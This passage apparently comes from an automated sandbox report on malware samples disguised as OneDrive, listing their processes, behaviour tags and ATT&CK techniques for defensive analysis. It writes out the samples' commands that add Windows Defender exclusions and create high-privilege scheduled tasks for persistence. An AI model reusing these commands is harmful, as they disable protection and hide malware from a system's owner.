    - Suspicious use of AdjustPrivilegeToken
    PID:4952
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4420
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3692
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4980
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    PID:168
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2320
- C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe
  "C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:848
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4160
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3596
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Microsoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:348
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft OneDrive" /tr "C:\Users\Admin\AppData\Roaming\Microsoft OneDrive.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4212
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "Microsoft OneDrive"
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp43CA.tmp.bat""
    3⤵
    PID:2880
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2700
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\FunCheker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FunCheker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3292
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "FunCheker" /tr "C:\Users\Admin\AppData\Roaming\FunCheker.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2004

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion